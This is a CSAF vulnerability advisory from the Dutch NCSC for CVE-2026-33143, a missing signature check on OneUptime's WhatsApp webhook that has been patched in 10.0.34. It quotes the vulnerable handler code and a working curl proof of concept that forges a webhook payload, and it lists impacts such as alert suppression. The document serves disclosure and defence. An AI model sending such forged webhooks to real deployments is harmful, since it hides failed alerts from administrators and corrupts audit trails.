{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33143",
        "tracking": {
            "current_release_date": "2026-03-26T06:11:57.586373Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33143",
            "initial_release_date": "2026-03-18T17:42:52.522515Z",
            "revision_history": [
                {
                    "date": "2026-03-18T17:42:52.522515Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T17:42:57.747970Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T11:40:05.330779Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T20:39:28.795380Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T20:39:33.216010Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T21:24:58.045507Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T21:25:08.711838Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T21:41:32.688661Z",
                    "number": "8",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-21T13:47:17.350719Z",
                    "number": "9",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-21T15:23:16.421209Z",
                    "number": "10",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-21T15:23:18.687358Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-22T00:51:43.162173Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-22T11:24:46.652664Z",
                    "number": "13",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-23T00:53:53.309710Z",
                    "number": "14",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-23T05:15:49.790909Z",
                    "number": "15",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-24T20:35:30.233616Z",
                    "number": "16",
                    "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T20:35:36.547672Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:43:09.009728Z",
                    "number": "18",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-24T20:56:10.145854Z",
                    "number": "19",
                    "summary": "References created (1)."
                }
            ],
            "status": "interim",
            "version": "19"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.0.34",
                                "product": {
                                    "name": "vers:unknown/<10.0.34",
                                    "product_id": "CSAFPID-5875866"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "oneuptime"
                    }
                ],
                "category": "vendor",
                "name": "OneUptime"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<10.0.34",
                                "product": {
                                    "name": "vers:unknown/<10.0.34",
                                    "product_id": "CSAFPID-5901500",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "oneuptime"
                    }
                ],
                "category": "vendor",
                "name": "hackerbay"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33143",
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nThe WhatsApp POST webhook handler (`/notification/whatsapp/webhook`) processes incoming status update events without verifying the Meta/WhatsApp `X-Hub-Signature-256` HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.\n\n### Details\n\n**Vulnerable code — `App/FeatureSet/Notification/API/WhatsApp.ts` lines 372-430:**\n```typescript\nrouter.post(\n  \"/webhook\",\n  async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {\n    try {\n      const body: JSONObject = req.body as JSONObject;\n      // NO signature verification! No X-Hub-Signature-256 check!\n\n      if (\n        (body[\"object\"] as string | undefined) !== \"whatsapp_business_account\"\n      ) {\n        return Response.sendEmptySuccessResponse(req, res);\n      }\n\n      const entries: JSONArray | undefined = body[\"entry\"] as JSONArray | undefined;\n      // ... processes entries and updates WhatsApp log status records\n```\n\nCompare with the Slack webhook which correctly validates signatures:\n\n**`Common/Server/Middleware/SlackAuthorization.ts` line 58:**\n```typescript\nconst isValid = crypto.timingSafeEqual(\n    Buffer.from(computedSignature),\n    Buffer.from(slackSignature)\n);\n```\n\nThe WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.\n\nNo existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.\n\n### PoC\n\n**Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration)\n\n```bash\n# Forge a delivery status update for any WhatsApp notification — no auth, no signature\ncurl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"object\": \"whatsapp_business_account\",\n    \"entry\": [{\n      \"id\": \"FAKE_WABA_ID\",\n      \"changes\": [{\n        \"value\": {\n          \"messaging_product\": \"whatsapp\",\n          \"metadata\": {\n            \"display_phone_number\": \"+15550000000\",\n            \"phone_number_id\": \"FAKE_PHONE_ID\"\n          },\n          \"messages\": [{\n            \"from\": \"15551234567\",\n            \"id\": \"wamid.FAKE\",\n            \"timestamp\": \"1234567890\",\n            \"text\": {\"body\": \"INJECTED_MESSAGE\"},\n            \"type\": \"text\"\n          }]\n        },\n        \"field\": \"messages\"\n      }]\n    }]\n  }'\n```\n\n**Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):**\n```\n< HTTP/1.1 200 OK\n{}\n```\n\n- Fake WhatsApp webhook payload accepted with HTTP 200\n- No `X-Hub-Signature-256` header provided — no signature verification at all\n- Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates\n\n### Impact\n\nAny unauthenticated remote attacker can forge WhatsApp webhook events:\n\n- **False delivery status:** Mark undelivered WhatsApp notifications as \"delivered\", hiding delivery failures from administrators\n- **Alert suppression:** Critical on-call notifications that failed to deliver appear successful, preventing escalation\n- **Log manipulation:** WhatsApp notification logs updated with forged status data, corrupting audit trails\n- **Incident response disruption:** During active incidents, forging \"delivered\" statuses prevents the system from retrying failed notification deliveries",
                    "title": "github - https://github.com/advisories/GHSA-g5ph-f57v-mwjc"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nThe WhatsApp POST webhook handler (`/notification/whatsapp/webhook`) processes incoming status update events without verifying the Meta/WhatsApp `X-Hub-Signature-256` HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.\n\n### Details\n\n**Vulnerable code — `App/FeatureSet/Notification/API/WhatsApp.ts` lines 372-430:**\n```typescript\nrouter.post(\n  \"/webhook\",\n  async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {\n    try {\n      const body: JSONObject = req.body as JSONObject;\n      // NO signature verification! No X-Hub-Signature-256 check!\n\n      if (\n        (body[\"object\"] as string | undefined) !== \"whatsapp_business_account\"\n      ) {\n        return Response.sendEmptySuccessResponse(req, res);\n      }\n\n      const entries: JSONArray | undefined = body[\"entry\"] as JSONArray | undefined;\n      // ... processes entries and updates WhatsApp log status records\n```\n\nCompare with the Slack webhook which correctly validates signatures:\n\n**`Common/Server/Middleware/SlackAuthorization.ts` line 58:**\n```typescript\nconst isValid = crypto.timingSafeEqual(\n    Buffer.from(computedSignature),\n    Buffer.from(slackSignature)\n);\n```\n\nThe WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.\n\nNo existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.\n\n### PoC\n\n**Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration)\n\n```bash\n# Forge a delivery status update for any WhatsApp notification — no auth, no signature\ncurl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"object\": \"whatsapp_business_account\",\n    \"entry\": [{\n      \"id\": \"FAKE_WABA_ID\",\n      \"changes\": [{\n        \"value\": {\n          \"messaging_product\": \"whatsapp\",\n          \"metadata\": {\n            \"display_phone_number\": \"+15550000000\",\n            \"phone_number_id\": \"FAKE_PHONE_ID\"\n          },\n          \"messages\": [{\n            \"from\": \"15551234567\",\n            \"id\": \"wamid.FAKE\",\n            \"timestamp\": \"1234567890\",\n            \"text\": {\"body\": \"INJECTED_MESSAGE\"},\n            \"type\": \"text\"\n          }]\n        },\n        \"field\": \"messages\"\n      }]\n    }]\n  }'\n```\n\n**Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):**\n```\n< HTTP/1.1 200 OK\n{}\n```\n\n- Fake WhatsApp webhook payload accepted with HTTP 200\n- No `X-Hub-Signature-256` header provided — no signature verification at all\n- Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates\n\n### Impact\n\nAny unauthenticated remote attacker can forge WhatsApp webhook events:\n\n- **False delivery status:** Mark undelivered WhatsApp notifications as \"delivered\", hiding delivery failures from administrators\n- **Alert suppression:** Critical on-call notifications that failed to deliver appear successful, preventing escalation\n- **Log manipulation:** WhatsApp notification logs updated with forged status data, corrupting audit trails\n- **Incident response disruption:** During active incidents, forging \"delivered\" statuses prevents the system from retrying failed notification deliveries",
                    "title": "github - https://api.github.com/advisories/GHSA-g5ph-f57v-mwjc"
                },
                {
                    "category": "description",
                    "text": "OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.34, the WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks. This issue has been patched in version 10.0.34.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33143.json"
                },
                {
                    "category": "description",
                    "text": "OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.34, the WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks. This issue has been patched in version 10.0.34.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33143"
                },
                {
                    "category": "other",
                    "text": "0.00025",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.7",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent EPSS score, Is related to (a version of) an uncommon product, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5875866",
                    "CSAFPID-5901500"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-g5ph-f57v-mwjc"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-g5ph-f57v-mwjc"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-g5ph-f57v-mwjc"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33143.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33143"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-g5ph-f57v-mwjc"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-g5ph-f57v-mwjc"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33143"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5875866",
                        "CSAFPID-5901500"
                    ]
                }
            ],
            "title": "CVE-2026-33143"
        }
    ]
}